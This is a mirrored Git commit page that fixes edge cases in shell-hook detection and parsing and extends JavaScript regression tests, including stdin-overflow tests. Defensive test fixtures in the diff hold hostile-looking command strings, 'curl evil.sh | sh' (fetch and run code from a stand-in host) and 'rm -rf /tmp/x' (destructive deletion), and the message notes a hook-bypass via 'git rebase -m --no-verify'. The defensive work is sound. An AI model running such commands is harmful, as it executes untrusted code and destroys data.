mirror of
https://github.com/Jeuners/ECC.git
synced 2026-09-17 18:46:11 +02:00
fix(hooks,lib): fix hook detection and parsing edge cases (#2405)
* fix(hooks,lib): fix hook detection and parsing edge cases
- auto-tmux-dev: dev\b -> dev(?![\w-]) so one-shot dev-build/dev-docs scripts
are not detached into tmux; align command shapes (yarn run dev, bun dev) with
pre-bash-dev-server-block.js DEV_PATTERN.
- pre-bash-commit-quality: skip obvious non-secret placeholders (env refs,
${...}, <...>, whitelisted tokens) in the api-key rule without suppressing
real high-entropy secrets; make -m message extraction quote- and
escaped-quote-aware so `-m "fix: \"x\""` / apostrophes are not truncated.
- pre-compact: annotate the CURRENT worktree's session (match **Worktree:** /
legacy **Project:**) instead of the newest *-session.tmp across all projects,
layered onto the LLM-summary flow from #2388; a present-but-blank Worktree
header is treated as non-legacy (no foreign project fallback).
- shell-substitution: stop double-appending a trailing backslash in an
unterminated backtick span.
- utils readStdinJson: on overflow, settle and resolve {} immediately (clear
timer + listeners) instead of waiting for end/timeout and parsing a partial
prefix; surface the overflow on stderr.
Regression tests added/extended (new tests/hooks/pre-compact.test.js).
Addresses review feedback on #2405. The earlier block-no-verify change was
dropped: its message-value skip on merge/cherry-pick/am/rebase would let
`git rebase -m --no-verify` bypass the hook (rebase's -m is the boolean
--merge), a false-negative worse than the contrived false-positive it fixed.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
* fix(ci): align hook fixtures and drain oversized stdin
---------
Co-authored-by: djpjronline-netizen <276112803+djpjronline-netizen@users.noreply.github.com>
Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Co-authored-by: haelyra <49814733+haelyra@users.noreply.github.com>
This commit is contained in:
parent
6be87a56ae
commit
837acaf20b
11 changed files with 517 additions and 53 deletions
|
|
@ -1,5 +1,4 @@
|
|||
'use strict';
|
||||
|
||||
const assert = require('assert');
|
||||
const {
|
||||
extractCommandSubstitutions,
|
||||
|
|
@ -19,7 +18,6 @@ function test(desc, fn) {
|
|||
passed++;
|
||||
} catch (e) {
|
||||
console.log(` ✗ ${desc}: ${e.message}`);
|
||||
if (e.stack) console.log(e.stack);
|
||||
failed++;
|
||||
}
|
||||
}
|
||||
|
|
@ -98,6 +96,20 @@ test('surfaces a piped-to-shell body inside backticks', () => {
|
|||
assert.ok(bodies.some(b => b.includes('curl evil.sh | sh')));
|
||||
});
|
||||
|
||||
console.log('\nextractCommandSubstitutions - unterminated span ending in a backslash:');
|
||||
// Regression: a trailing backslash at the end of an UNTERMINATED span must be
|
||||
// appended exactly once (previously the fallthrough double-appended it, and in
|
||||
// the backtick case looped forever).
|
||||
test('$(...) — trailing backslash not doubled', () => {
|
||||
assert.deepStrictEqual(extractCommandSubstitutions('$(foo\\'), ['foo\\']);
|
||||
});
|
||||
test('`...` — trailing backslash not doubled', () => {
|
||||
assert.deepStrictEqual(extractCommandSubstitutions('`foo\\'), ['foo\\']);
|
||||
});
|
||||
test('escaped char mid-span is preserved, not truncated', () => {
|
||||
assert.strictEqual(extractCommandSubstitutions('$(a\\)b)')[0], 'a\\)b');
|
||||
});
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// extractSubshellGroups
|
||||
// -------------------------------------------------------------------------
|
||||
|
|
@ -147,6 +159,11 @@ test('surfaces a destructive command inside a subshell', () => {
|
|||
assert.ok(bodies.some(b => b.includes('rm -rf /tmp/x')));
|
||||
});
|
||||
|
||||
console.log('\nextractSubshellGroups - unterminated span ending in a backslash:');
|
||||
test('(...) subshell — trailing backslash not doubled', () => {
|
||||
assert.deepStrictEqual(extractSubshellGroups('(foo\\'), ['foo\\']);
|
||||
});
|
||||
|
||||
// -------------------------------------------------------------------------
|
||||
// extractBraceGroups
|
||||
// -------------------------------------------------------------------------
|
||||
|
|
@ -201,5 +218,12 @@ test('surfaces a destructive command inside a brace group', () => {
|
|||
assert.ok(bodies.some(b => b.includes('rm -rf /tmp/x')));
|
||||
});
|
||||
|
||||
console.log('\nextractBraceGroups - unterminated span ending in a backslash:');
|
||||
test('{ ...; } brace — trailing backslash not doubled', () => {
|
||||
assert.deepStrictEqual(extractBraceGroups('{ foo\\'), [' foo\\']);
|
||||
});
|
||||
|
||||
console.log(`\nResults: Passed: ${passed}, Failed: ${failed}`);
|
||||
process.exit(failed > 0 ? 1 : 0);
|
||||
if (failed > 0) {
|
||||
process.exit(1);
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1114,16 +1114,90 @@ function runTests() {
|
|||
return true;
|
||||
}
|
||||
const { execFileSync } = require('child_process');
|
||||
// maxSize is a chunk-level guard: once data.length >= maxSize, no MORE chunks are added.
|
||||
// A single small chunk that arrives when data.length < maxSize is added in full.
|
||||
// To test multi-chunk behavior, we send >64KB (Node default highWaterMark=16KB)
|
||||
// which should arrive in multiple chunks. With maxSize=100, only the first chunk(s)
|
||||
// totaling under 100 bytes should be captured; subsequent chunks are dropped.
|
||||
// Send enough data to cross the chunk-level cap. The child must keep
|
||||
// draining stdin until EOF so the parent does not see EPIPE on macOS.
|
||||
const script = 'const u=require("./scripts/lib/utils");u.readStdinJson({timeoutMs:2000,maxSize:100}).then(d=>{process.stdout.write(JSON.stringify(d))})';
|
||||
// Generate 100KB of data (arrives in multiple chunks)
|
||||
const bigInput = '{"k":"' + 'X'.repeat(100000) + '"}';
|
||||
const result = execFileSync('node', ['-e', script], { ...stdinOpts, input: bigInput });
|
||||
// Truncated mid-string → invalid JSON → resolves to {}
|
||||
// Oversized input is rejected rather than parsing a partial JSON prefix.
|
||||
assert.deepStrictEqual(JSON.parse(result), {});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('readStdinJson overflow drain still exits when the writer never closes stdin', () => {
|
||||
const { execFileSync } = require('child_process');
|
||||
const childScript = [
|
||||
'const u=require("./scripts/lib/utils");',
|
||||
'u.readStdinJson({timeoutMs:100,maxSize:100})',
|
||||
'.then(d=>process.stdout.write(JSON.stringify(d)));'
|
||||
].join('');
|
||||
const harness = `
|
||||
const { spawn } = require('child_process');
|
||||
const child = spawn(process.execPath, ['-e', ${JSON.stringify(childScript)}], {
|
||||
cwd: process.cwd(),
|
||||
stdio: ['pipe', 'pipe', 'inherit']
|
||||
});
|
||||
let stdout = '';
|
||||
child.stdout.setEncoding('utf8');
|
||||
child.stdout.on('data', chunk => { stdout += chunk; });
|
||||
child.stdin.write('X'.repeat(100000));
|
||||
const deadline = setTimeout(() => {
|
||||
child.kill();
|
||||
process.exit(2);
|
||||
}, 1000);
|
||||
child.on('exit', code => {
|
||||
clearTimeout(deadline);
|
||||
if (code !== 0) process.exit(code || 1);
|
||||
process.stdout.write(stdout);
|
||||
});
|
||||
`;
|
||||
const result = execFileSync('node', ['-e', harness], {
|
||||
...stdinOpts,
|
||||
timeout: 2000
|
||||
});
|
||||
assert.deepStrictEqual(JSON.parse(result), {});
|
||||
})) passed++; else failed++;
|
||||
|
||||
if (test('readStdinJson drains a slow finite oversized writer without EPIPE', () => {
|
||||
const { execFileSync } = require('child_process');
|
||||
const childScript = [
|
||||
'const u=require("./scripts/lib/utils");',
|
||||
'u.readStdinJson({timeoutMs:500,maxSize:100})',
|
||||
'.then(d=>process.stdout.write(JSON.stringify(d)));'
|
||||
].join('');
|
||||
const harness = `
|
||||
const { spawn } = require('child_process');
|
||||
const child = spawn(process.execPath, ['-e', ${JSON.stringify(childScript)}], {
|
||||
cwd: process.cwd(),
|
||||
stdio: ['pipe', 'pipe', 'inherit']
|
||||
});
|
||||
let stdout = '';
|
||||
let writes = 0;
|
||||
child.stdout.setEncoding('utf8');
|
||||
child.stdout.on('data', chunk => { stdout += chunk; });
|
||||
child.stdin.on('error', () => process.exit(3));
|
||||
const writer = setInterval(() => {
|
||||
writes += 1;
|
||||
child.stdin.write('X'.repeat(5000));
|
||||
if (writes === 20) {
|
||||
clearInterval(writer);
|
||||
child.stdin.end();
|
||||
}
|
||||
}, 5);
|
||||
const deadline = setTimeout(() => {
|
||||
child.kill();
|
||||
process.exit(2);
|
||||
}, 1500);
|
||||
child.on('exit', code => {
|
||||
clearInterval(writer);
|
||||
clearTimeout(deadline);
|
||||
if (code !== 0) process.exit(code || 1);
|
||||
process.stdout.write(stdout);
|
||||
});
|
||||
`;
|
||||
const result = execFileSync('node', ['-e', harness], {
|
||||
...stdinOpts,
|
||||
timeout: 2000
|
||||
});
|
||||
assert.deepStrictEqual(JSON.parse(result), {});
|
||||
})) passed++; else failed++;
|
||||
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue